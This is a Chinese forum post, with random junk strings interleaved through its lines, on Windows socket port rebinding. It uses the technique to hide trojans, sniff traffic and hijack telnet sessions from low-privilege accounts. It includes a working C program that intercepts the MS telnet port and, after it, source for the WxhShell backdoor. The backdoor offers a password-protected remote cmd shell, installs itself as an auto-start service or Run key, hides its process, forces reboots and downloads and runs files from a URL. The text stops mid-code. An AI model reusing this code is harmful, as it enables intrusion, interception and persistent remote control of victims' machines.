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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3\ Mt+!1{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ka-o$o[^u`  
p I8z.JD  
  saddr.sin_family = AF_INET; Tj_K5uccU}  
UXdc'i g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Qj_)^3`e  
x>TIx[ x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }5(_gYr  
Cb?  !+U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h9<PP2.(  
1hgIR^;[b  
  这意味着什么?意味着可以进行如下的攻击: CrL9|78  
]BbV\#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `Ds=a`^b  
mI4GBp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hZL!%sL7  
vo\'ycPv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  R.HvqO  
qCfEv4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ht]n*  
Q[K$f%>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1+N'cB!y  
i7r)9^y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @-\=`#C**  
xZ;eV76  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <Z3C&BM  
~K3Lbd| r  
  #include /}>8|#U3y  
  #include wzd(= *N  
  #include D})/2O p   
  #include    Fs $FR-x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |gP)lR  
  int main() *P/A&"i[E  
  { l9=Ka{$^*  
  WORD wVersionRequested; ;w"h n*  
  DWORD ret; bO/r1W  
  WSADATA wsaData; (:`4*xK  
  BOOL val; JU^Y27  
  SOCKADDR_IN saddr; VV/T)qEe7>  
  SOCKADDR_IN scaddr; qp6'n&^&  
  int err; _rIo @v  
  SOCKET s; 6wwbH}*=?  
  SOCKET sc; iBbaHU*V  
  int caddsize; :'C?uk ?  
  HANDLE mt; -p)`ob-  
  DWORD tid;   nKr'cb  
  wVersionRequested = MAKEWORD( 2, 2 ); OF']-  
  err = WSAStartup( wVersionRequested, &wsaData ); wUr(i*  
  if ( err != 0 ) { (UjaL@G  
  printf("error!WSAStartup failed!\n"); yGt [Qvx#  
  return -1; Ew PJ|Z^  
  } <_|@ ~^u  
  saddr.sin_family = AF_INET; ?zutU w/m  
   *v K~t|z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a BMV6'  
S$fS|N3]%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jFe8s@7  
  saddr.sin_port = htons(23); vvxD}p=y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L v/}&'\(  
  { u;rmqo1  
  printf("error!socket failed!\n"); RS}_cm0  
  return -1; l{C]0^6>i  
  } XfVdYmii  
  val = TRUE; UMd.=HC L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hN=kU9@knC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NdLe|L?c  
  { k`N*_/(|n  
  printf("error!setsockopt failed!\n"); ">1wPq&  
  return -1; M *3G  
  } %pOz%v~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SWI\;:k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dazML|1ow  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  gvo98Id  
NR_3nt^h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qtZzJ>Y  
  { M$ieM[_T  
  ret=GetLastError(); KP0(w(q  
  printf("error!bind failed!\n"); ~b)X:ku  
  return -1; >m1b/J3#  
  } M\CzV$\y  
  listen(s,2); FO_}9<s  
  while(1) WK*tXc_[b  
  { Y1sK sdV  
  caddsize = sizeof(scaddr); ,#, K_oz  
  //接受连接请求 ?87\_wL/j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vfy@?x= &  
  if(sc!=INVALID_SOCKET) J0R{|]W8  
  { 8w[O%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F1$XUos9  
  if(mt==NULL) ,WOCG 2h  
  { l }^ziY!  
  printf("Thread Creat Failed!\n"); =#9#unvE!  
  break; ,.*D f)+  
  } yY UAH-  
  } fmv:vs /9  
  CloseHandle(mt); ]$ s)6)kW  
  } v mkiw1  
  closesocket(s); )#\3c,<Y  
  WSACleanup(); Z.@n7G  
  return 0; Hi K+}?I  
  }   2oahQ: }B  
  DWORD WINAPI ClientThread(LPVOID lpParam) wn_ >Vi1  
  { fuA] y4A  
  SOCKET ss = (SOCKET)lpParam; 9x4z m  
  SOCKET sc; `{Oqb  
  unsigned char buf[4096]; Wq}6RdY$ZA  
  SOCKADDR_IN saddr; !*&5O~dfN  
  long num; {4 vWSb  
  DWORD val; Y_y!$jd(N  
  DWORD ret; |?0MRX0'g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (oy@j{G)c6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3 I%N4K4  
  saddr.sin_family = AF_INET; DUu:et&c1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?F[_5ls|]  
  saddr.sin_port = htons(23); h+H+>,N8`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D Q={  
  { |*zgX]-+;  
  printf("error!socket failed!\n"); |-/@3gPO  
  return -1; L6nsVL&  
  } F^Jz   
  val = 100; k^K76mB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {*hFG:u  
  { 7)#JrpTj%  
  ret = GetLastError(); #| g h  
  return -1; _8 K|2$X  
  } }eZ \~2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jg'#IM  
  { 8lqmd1v  
  ret = GetLastError(); W!XBuk-  
  return -1; QwFA0  
  } RfvvX$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #X*);cn  
  { ^hZ0"c  
  printf("error!socket connect failed!\n"); 1nvT={'R  
  closesocket(sc); [Pp#r&4H  
  closesocket(ss); *!`&+w  
  return -1; I'{Ctc  
  } (HeSL),1  
  while(1) Pr%KcR ;  
  { "-Ny f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v4rO 0y=C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GGHeC/4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l> H'PP~  
  num = recv(ss,buf,4096,0); i}>EGmv m  
  if(num>0) NqKeQezX  
  send(sc,buf,num,0); [=cbzmX[  
  else if(num==0) &*O'qOO<2  
  break; GcO:!b*YMp  
  num = recv(sc,buf,4096,0); o M@%2M_O(  
  if(num>0) u"hr4+/  
  send(ss,buf,num,0); RJDk7{(  
  else if(num==0) Txe*$T,(  
  break; "X?Zw$gRud  
  } @zw&-b:qI  
  closesocket(ss); N,9~J"z  
  closesocket(sc); W4nn)qBrh  
  return 0 ; G){+.X4g3  
  } 9CwtBil<#g  
fYZd:3VdC  
!JDuVqW  
========================================================== #H~$^L   
3''Kg<k,I  
下边附上一个代码,,WXhSHELL j8?! J^TC  
sL TQm*jL  
========================================================== $1s>efP-  
HXdo:#xEO  
#include "stdafx.h" /u]#dX5  
=$^}"}$  
#include <stdio.h> 8VG~n?y  
#include <string.h> ~LF M,@  
#include <windows.h> +[ir7?Y.  
#include <winsock2.h> 5HbJE'  
#include <winsvc.h> 8?<J,zu@AV  
#include <urlmon.h> zJ1M$ U  
I}y6ke!  
#pragma comment (lib, "Ws2_32.lib") D2 o|.e<r  
#pragma comment (lib, "urlmon.lib") XD!}uDZ^  
W95q1f# 7  
#define MAX_USER   100 // 最大客户端连接数 7}c[GC)F  
#define BUF_SOCK   200 // sock buffer r0&LjH&R  
#define KEY_BUFF   255 // 输入 buffer (C`nBiL<  
%t9Kc9u3p  
#define REBOOT     0   // 重启 ^ -~=U^2tC  
#define SHUTDOWN   1   // 关机 2|RxowXZ"  
i[.7 8K-s  
#define DEF_PORT   5000 // 监听端口 SZtSUt(ss  
jL 3 *m  
#define REG_LEN     16   // 注册表键长度 '_K`1&#U  
#define SVC_LEN     80   // NT服务名长度 zh?B-"O=5  
k{Y\YG%b  
// 从dll定义API $OGMw+$C ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @#o 7U   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n@C#,v#^0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ib]<;t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rfgsas{F  
i6;rh-M?.  
// wxhshell配置信息 /K+;HAUTn  
struct WSCFG { @LU[po1I  
  int ws_port;         // 监听端口 ~Lu,jLKL=[  
  char ws_passstr[REG_LEN]; // 口令 ? )IH#kL  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Nav8dma  
  char ws_regname[REG_LEN]; // 注册表键名 R*ex!u60M  
  char ws_svcname[REG_LEN]; // 服务名 Q3t%JP>;g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =''*'a-P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y<@_d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NFur+zwv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *z~J ]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4 #lLC-k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y^{ 4}^u-^  
[5b[ztN%  
}; 0U.Ld:  
@JP6F[d  
// default Wxhshell configuration #=m:>Q?%z  
struct WSCFG wscfg={DEF_PORT, %A&g-4(  
    "xuhuanlingzhe", <x$f D37  
    1, m<MN.R7  
    "Wxhshell", _\,4h2(  
    "Wxhshell", 6is+\  
            "WxhShell Service", rg%m   
    "Wrsky Windows CmdShell Service", D[YdPg@-  
    "Please Input Your Password: ", 9(KffnE^  
  1, K TE*Du  
  "http://www.wrsky.com/wxhshell.exe", DuQ:82 3b  
  "Wxhshell.exe" X0$?$ ta  
    }; @ <'a0)n>  
+}-cvM/*  
// 消息定义模块 FklO#+<:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h{)`W ]~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1o   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AMK3I`=8WO  
char *msg_ws_ext="\n\rExit."; N=8CVI  
char *msg_ws_end="\n\rQuit."; to\$'2F"q  
char *msg_ws_boot="\n\rReboot..."; QX(t@VP  
char *msg_ws_poff="\n\rShutdown..."; k.Z?BNP  
char *msg_ws_down="\n\rSave to "; f,-'eW/j  
cZt5;"xgr]  
char *msg_ws_err="\n\rErr!"; Au )%w  
char *msg_ws_ok="\n\rOK!"; 4tapQgj24  
G6"4JTWO  
char ExeFile[MAX_PATH]; ]zvOM^l~  
int nUser = 0; T?-K}PUcQ  
HANDLE handles[MAX_USER]; ; Oz p  
int OsIsNt; itO1ROmu  
sQT,@+JEr  
SERVICE_STATUS       serviceStatus; P[ Vf$ q<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U[@B63];0  
4)N~*+~\h  
// 函数声明 g-+/zEOUS  
int Install(void); kw1Lm1C  
int Uninstall(void); LyNur8 Zi  
int DownloadFile(char *sURL, SOCKET wsh); x1#6~283  
int Boot(int flag); kN vNV(4  
void HideProc(void); v[m1R'  
int GetOsVer(void); *b1NVN$  
int Wxhshell(SOCKET wsl); B8V85R  
void TalkWithClient(void *cs); 6y@o[=m  
int CmdShell(SOCKET sock); DsiyN:o'+  
int StartFromService(void); q1%xk =8  
int StartWxhshell(LPSTR lpCmdLine); Sa6YqOel@  
"9H#pj -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KH[Oqd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J8`vk#5  
f%STkL)  
// 数据结构和表定义 IS!]!s'EI  
SERVICE_TABLE_ENTRY DispatchTable[] = Lb2/ Te*  
{ *>j4tA{b@v  
{wscfg.ws_svcname, NTServiceMain}, =Ajw(I[56  
{NULL, NULL} n]wZ7z  
}; .-p?skm=a  
j 2Jew  
// 自我安装 ^F/H?V/PX  
int Install(void) ]G=^7O]`C!  
{ Fz_8m4  
  char svExeFile[MAX_PATH]; sJLJVSv8c  
  HKEY key; Qhn>aeW,  
  strcpy(svExeFile,ExeFile); xx%*85<  
gf|&u4D  
// 如果是win9x系统,修改注册表设为自启动 3],[6%w  
if(!OsIsNt) { 2FTJxSC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $D#eD.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )$FwB6^  
  RegCloseKey(key); gO! :WD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *wz62p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #!M;4~Sfx  
  RegCloseKey(key); HG})V PBa  
  return 0; 9'\*Ip^  
    } SL%lY  
  } I[v~nY~l`  
} l8!n!sC[,  
else { =ThacZHb8  
zeHs5P8}r  
// 如果是NT以上系统,安装为系统服务 6q^.Pg-Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sX=_|<[  
if (schSCManager!=0) lem\P_V)  
{ [ Q20c<,  
  SC_HANDLE schService = CreateService c< g{ &YJ  
  ( as@I0e((  
  schSCManager, ?s{Pp  
  wscfg.ws_svcname, 5A"OL6ty  
  wscfg.ws_svcdisp, ~FZ=  
  SERVICE_ALL_ACCESS, H52] Zm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I!,FxOM|$  
  SERVICE_AUTO_START, &1Idv}@!  
  SERVICE_ERROR_NORMAL, c5tCw3$t  
  svExeFile, H9T'{R*FC  
  NULL, 09rbu\h  
  NULL, L [7Aa"R  
  NULL, mE_?E&T`|  
  NULL, Gcu?xG{  
  NULL {3=]cLtt  
  ); pD%Pg5p`  
  if (schService!=0) \*$''`b)j  
  { HrQft1~N  
  CloseServiceHandle(schService); 5J8U] :Y)  
  CloseServiceHandle(schSCManager); !BW6l)=L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {%3sj"suB  
  strcat(svExeFile,wscfg.ws_svcname); 2AI~Jm#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VE5M}kDCZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ojZvgF  
  RegCloseKey(key); ]l4# KI@  
  return 0; ^iaG>rvA  
    } r@Tq-o  
  } 8DP] C9  
  CloseServiceHandle(schSCManager); E"$AOM?(*i  
} %B'*eBj~fw  
} 8yV?l7  
zDO`w0N  
return 1; zQQ=8#]  
} U(cV#@Y  
A296 f(  
// 自我卸载 9My |G)M6  
int Uninstall(void) (:]on^|  
{ B'Ll\<mq@  
  HKEY key; &}G2;O}3  
~4fjFo&_\  
if(!OsIsNt) { EpCsJ08K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k-&fPEjG  
  RegDeleteValue(key,wscfg.ws_regname); BHh%3Q  
  RegCloseKey(key); ~ g\GC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3-5X^!C  
  RegDeleteValue(key,wscfg.ws_regname); \]eB(&nq  
  RegCloseKey(key); o%E^41M7E  
  return 0; xG^6'<  
  } |i7j }i  
} ' s6SKjZS  
} \.tnzP D  
else { S0 AaJty  
#sK:q&/G`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b]X c5Dp{  
if (schSCManager!=0) 1 \_S1ZS  
{ 11s*C #  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CfoT$g  
  if (schService!=0) O*dN+o  
  { HH+$rrTT  
  if(DeleteService(schService)!=0) { INFbj8T  
  CloseServiceHandle(schService); [h>RO55e  
  CloseServiceHandle(schSCManager); !z7j.u`Y  
  return 0; Jf-4Q!  
  } }&Gt&Hm>K  
  CloseServiceHandle(schService); YM*{^BXp  
  } 478gl o  
  CloseServiceHandle(schSCManager); WxB}Uh  
} M7|k"iz v  
} 8%qHy1  
tw/~z2G  
return 1; Bn 5]{Df  
} GS %ACk  
6^M!p4$hF  
// 从指定url下载文件 >8$]g  
int DownloadFile(char *sURL, SOCKET wsh) u dhj$:t  
{ N<lO!x1[H*  
  HRESULT hr; Lb2bzZbhx  
char seps[]= "/"; o\oS_f:RD  
char *token; bn b:4?d]  
char *file; y6 bl&_  
char myURL[MAX_PATH]; \zA G#{  
char myFILE[MAX_PATH]; qHT_,\l2  
8{@0p"re@  
strcpy(myURL,sURL); YY\$lM  
  token=strtok(myURL,seps); BB&7VSgc-  
  while(token!=NULL) umt*;U=  
  { 6  XZF8W  
    file=token; {s8v0~  
  token=strtok(NULL,seps); KiXRBFo  
  } 1$&(ei]*:  
5 *8 V4ca  
GetCurrentDirectory(MAX_PATH,myFILE); 0}a="`p#<  
strcat(myFILE, "\\"); @+OX1-dd/w  
strcat(myFILE, file); 'P1I-ue  
  send(wsh,myFILE,strlen(myFILE),0); z+RA  
send(wsh,"...",3,0); U}w,$ Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jF5Y-CX  
  if(hr==S_OK) e} =tUdDf  
return 0; I\%a<  
else D%CKkQ<u2  
return 1; PBXRey7>D  
nH6Ny  
} ws!pp\F  
z}'-gv\,  
// 系统电源模块 ;L <D-=  
int Boot(int flag) m&o6j>C  
{ fC$Rz#5?  
  HANDLE hToken; =l7@YCj5c  
  TOKEN_PRIVILEGES tkp; q%g!TFMg  
Bu[sSoA  
  if(OsIsNt) { "iu9r%l94  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,".1![b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3`%]3qd}  
    tkp.PrivilegeCount = 1; b0QC91   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (gdi 2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S!'Y:AeD&  
if(flag==REBOOT) { ]Alv5?E60  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /2%646  
  return 0;  I&m C  
} }:04bIaV  
else { IE^xk@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Ox !7Lp  
  return 0; J@ CKgE  
} M<nKk#!+h  
  } r |H 1Yy  
  else {  ;rH<  
if(flag==REBOOT) { xaPaK-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LqZsH0C  
  return 0; yYdow.b!  
} @N tiT,3k  
else { %< ^IAMkp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k H.e"e  
  return 0; ZOAHM1ci  
} &nKb<o  
} <"GgqyRzv  
WQJnWe   
return 1; ?M<q95pL  
} G\X}gqe(OJ  
4p}?QR>tZ  
// win9x进程隐藏模块 0*=[1tdWY  
void HideProc(void) vYPZVqF_$  
{ yH9(ru  
3A`|$So  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sz"N,-<Ig  
  if ( hKernel != NULL ) %1oh+'ES F  
  { sGAOK%28  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %0y_WIjz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D1ep7ykY  
    FreeLibrary(hKernel); y-.<iq  
  } :637MD>5lO  
AG Ws>  
return; QWncKE,O$  
} ~W>3EJghR,  
A$7j B4  
// 获取操作系统版本 ;4%Co)Rw  
int GetOsVer(void) ++gWyzD  
{ 762c`aP_(  
  OSVERSIONINFO winfo; 6E)emFkQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TJO?BX_9  
  GetVersionEx(&winfo); rk E;OU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rGn6S &-  
  return 1; \aY<| 7zK  
  else }wIF$v?M  
  return 0; d,5,OJY2f  
} ]B2%\}c  
k#oe:u`<  
// 客户端句柄模块 ,pTj'I  
int Wxhshell(SOCKET wsl) )8Q;u8jm1  
{ j*6>{_[  
  SOCKET wsh; wni^qs.i@3  
  struct sockaddr_in client; +lhjz*0  
  DWORD myID; ZL7#44  
!*\ J4bJe  
  while(nUser<MAX_USER) "Dt: 8Nf^  
{ Q"Pl)Q\  
  int nSize=sizeof(client); Q2)CbHSz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aA6m5  
  if(wsh==INVALID_SOCKET) return 1; ]YciLc(  
{0o ,2]o!:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YXlaE=9bn  
if(handles[nUser]==0) /a .XWfu  
  closesocket(wsh); v;WfcpWq2  
else {hH8+4c7  
  nUser++; H "; !A=0  
  } 8 U<$u,WS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \dHdL\f  
sJ>JHv  
  return 0; .gJv})Vi  
} 6N#0D2~^  
uBUT84i  
// 关闭 socket @UK%l :L  
void CloseIt(SOCKET wsh)  p[8H!=`K  
{ Y(<(!TJ-  
closesocket(wsh); ]}Jb'(gMO4  
nUser--;  oB8LJZ;  
ExitThread(0); sDZ<X A  
} "Q.KBX v/  
n|'}W+  
// 客户端请求句柄 dsG:DS`q  
void TalkWithClient(void *cs) wZsjbNf`K  
{ ZWb\^N  
<ht^Ck  
  SOCKET wsh=(SOCKET)cs; K&{ruHoKB  
  char pwd[SVC_LEN]; X EL~y  
  char cmd[KEY_BUFF]; >h9T/J8  
char chr[1]; <"z9(t(V\%  
int i,j; fAT+x1J\  
*JA0Vs 5  
  while (nUser < MAX_USER) { #GfM!<q<  
6 9s%   
if(wscfg.ws_passstr) { XE`u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l|S_10x5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }08Sv=XM  
  //ZeroMemory(pwd,KEY_BUFF); (o2.*x  
      i=0; d9.I83SS  
  while(i<SVC_LEN) { (v0i]1ly[  
eAK=ylF;  
  // 设置超时 g?gF*^_0  
  fd_set FdRead; y6P-:f/&*  
  struct timeval TimeOut; l H{~?x  
  FD_ZERO(&FdRead); bNG7A[|B  
  FD_SET(wsh,&FdRead); J] )gXVRM  
  TimeOut.tv_sec=8; b\Mb6s  
  TimeOut.tv_usec=0; YfUo=ku  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZPlY]e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,CP&o  
IWT -)+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZRP[N)Ld$  
  pwd=chr[0]; Y?4N%c_;  
  if(chr[0]==0xd || chr[0]==0xa) { j-k]|0ea}  
  pwd=0; lbj_ if;  
  break; swfjKBfw+g  
  } 4CK$W` V  
  i++; A,;[9J2\&  
    } `OHdo$Y9  
)5ev4Qf  
  // 如果是非法用户,关闭 socket <y<   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ja%IGaH;s  
} ZJ%iiY  
0I}c|V'P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [u;>b?[{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o(@^V!}V  
] ?k\ qS  
while(1) { {S"!c.  
|!xqkmX  
  ZeroMemory(cmd,KEY_BUFF); OP98sd&T  
UW],9r/PD@  
      // 自动支持客户端 telnet标准   4v#A#5+O E  
  j=0; =PmIrvr'[5  
  while(j<KEY_BUFF) { Tilw.z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yhxZ^ (I  
  cmd[j]=chr[0]; [-hsG E  
  if(chr[0]==0xa || chr[0]==0xd) { @ 5V3I^  
  cmd[j]=0; ;edt["Eu  
  break; ^o[(F<q  
  } "vo o!&<  
  j++; psAr>:\3  
    } _YA;Nd#%k  
wT&P].5n  
  // 下载文件 K{`3,U2Wx  
  if(strstr(cmd,"http://")) {  <xwaFZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +|.6xC7U  
  if(DownloadFile(cmd,wsh)) a9p6[qOcd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*|m(7s  
  else POb2U1Sj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >]/aG!  
  } tREC)+*\  
  else { hEfFMi=a`  
S*(n s<L  
    switch(cmd[0]) { (2'q~Z+>'  
  ?dQ#%06mn  
  // 帮助 ?#J;\^  
  case '?': { D)J'xG_<O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f=Kt[|%'e  
    break; ~?:Xi_3Lo  
  } mO @Sl(9  
  // 安装 VRvX^w0  
  case 'i': { S !R:a>\  
    if(Install()) f= 33+8I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }EJ't io]  
    else ]3~X!(O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q_FL8w9D~8  
    break; Y@'ahxF  
    } rB-}<22.  
  // 卸载 skBzwVW I  
  case 'r': { ; d :i  
    if(Uninstall()) lKLb\F%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "xE;IpO[  
    else Ov|Uux  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m.>y(TI  
    break; 7w5 L?,a  
    } \:_!!   
  // 显示 wxhshell 所在路径 5dEek7wnf  
  case 'p': { y*5$B.u`.  
    char svExeFile[MAX_PATH]; jrm L>0NZ  
    strcpy(svExeFile,"\n\r"); \j~LxV  
      strcat(svExeFile,ExeFile); I#GsEhi  
        send(wsh,svExeFile,strlen(svExeFile),0); xXNL UP  
    break; br7_P1ep  
    } hG>3y\!#  
  // 重启 ZO!)G   
  case 'b': { zXT[}J VV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _|KeB(W  
    if(Boot(REBOOT)) KGsW*G4U=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (#VF>;;L  
    else { Bt1 &C?_$T  
    closesocket(wsh); "(^1Dm$(  
    ExitThread(0); Iw;J7[hJ&$  
    } 5JA5:4aev  
    break; KI8Q =*  
    } qh~S)^zFJ  
  // 关机 rR 3(yy0L  
  case 'd': { z9P;HGuZ  
